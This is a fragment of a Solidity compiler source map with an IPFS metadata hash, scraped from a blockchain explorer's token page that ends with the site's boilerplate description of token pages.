2:20;14780:1;14762:20;:::i;:::-;14757:25;;14796:20;14814:1;14796:20;:::i;:::-;14791:25;;14984:1;14916:66;14912:74;14909:1;14906:81;14901:1;14894:9;14887:17;14883:105;14880:131;;;14991:18;;:::i;:::-;14880:131;15039:1;15036;15032:9;15021:20;;14699:348;;;;:::o;15053:191::-;15093:4;15113:20;15131:1;15113:20;:::i;:::-;15108:25;;15147:20;15165:1;15147:20;:::i;:::-;15142:25;;15186:1;15183;15180:8;15177:34;;;15191:18;;:::i;:::-;15177:34;15236:1;15233;15229:9;15221:17;;15053:191;;;;:::o;15250:96::-;15287:7;15316:24;15334:5;15316:24;:::i;:::-;15305:35;;15250:96;;;:::o;15352:90::-;15386:7;15429:5;15422:13;15415:21;15404:32;;15352:90;;;:::o;15448:126::-;15485:7;15525:42;15518:5;15514:54;15503:65;;15448:126;;;:::o;15580:77::-;15617:7;15646:5;15635:16;;15580:77;;;:::o;15663:86::-;15698:7;15738:4;15731:5;15727:16;15716:27;;15663:86;;;:::o;15755:148::-;15827:9;15860:37;15891:5;15860:37;:::i;:::-;15847:50;;15755:148;;;:::o;15909:150::-;15983:9;16016:37;16047:5;16016:37;:::i;:::-;16003:50;;15909:150;;;:::o;16065:121::-;16123:9;16156:24;16174:5;16156:24;:::i;:::-;16143:37;;16065:121;;;:::o;16192:117::-;16248:9;16281:22;16297:5;16281:22;:::i;:::-;16268:35;;16192:117;;;:::o;16315:126::-;16365:9;16398:37;16429:5;16398:37;:::i;:::-;16385:50;;16315:126;;;:::o;16447:113::-;16497:9;16530:24;16548:5;16530:24;:::i;:::-;16517:37;;16447:113;;;:::o;16566:307::-;16634:1;16644:113;16658:6;16655:1;16652:13;16644:113;;;16743:1;16738:3;16734:11;16728:18;16724:1;16719:3;16715:11;16708:39;16680:2;16677:1;16673:10;16668:15;;16644:113;;;16775:6;16772:1;16769:13;16766:101;;;16855:1;16846:6;16841:3;16837:16;16830:27;16766:101;16615:258;16566:307;;;:::o;16879:320::-;16923:6;16960:1;16954:4;16950:12;16940:22;;17007:1;17001:4;16997:12;17028:18;17018:81;;17084:4;17076:6;17072:17;17062:27;;17018:81;17146:2;17138:6;17135:14;17115:18;17112:38;17109:84;;;17165:18;;:::i;:::-;17109:84;16930:269;16879:320;;;:::o;17205:180::-;17253:77;17250:1;17243:88;17350:4;17347:1;17340:15;17374:4;17371:1;17364:15;17391:180;17439:77;17436:1;17429:88;17536:4;17533:1;17526:15;17560:4;17557:1;17550:15;17577:180;17625:77;17622:1;17615:88;17722:4;17719:1;17712:15;17746:4;17743:1;17736:15;17763:180;17811:77;17808:1;17801:88;17908:4;17905:1;17898:15;17932:4;17929:1;17922:15;17949:180;17997:77;17994:1;17987:88;18094:4;18091:1;18084:15;18118:4;18115:1;18108:15;18258:117;18367:1;18364;18357:12;18381:102;18422:6;18473:2;18469:7;18464:2;18457:5;18453:14;18449:28;18439:38;;18381:102;;;:::o;18489:166::-;18629:18;18625:1;18617:6;18613:14;18606:42;18489:166;:::o;18661:158::-;18801:10;18797:1;18789:6;18785:14;18778:34;18661:158;:::o;18825:167::-;18965:19;18961:1;18953:6;18949:14;18942:43;18825:167;:::o;18998:122::-;19071:24;19089:5;19071:24;:::i;:::-;19064:5;19061:35;19051:63;;19110:1;19107;19100:12;19051:63;18998:122;:::o;19126:116::-;19196:21;19211:5;19196:21;:::i;:::-;19189:5;19186:32;19176:60;;19232:1;19229;19222:12;19176:60;19126:116;:::o;19248:122::-;19321:24;19339:5;19321:24;:::i;:::-;19314:5;19311:35;19301:63;;19360:1;19357;19350:12;19301:63;19248:122;:::o

Swarm Source

ipfs://ac1c6e12f99c2b6ae23f68b85ed609b24adbebfcaa0d5eb9edfa52641d53c850
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.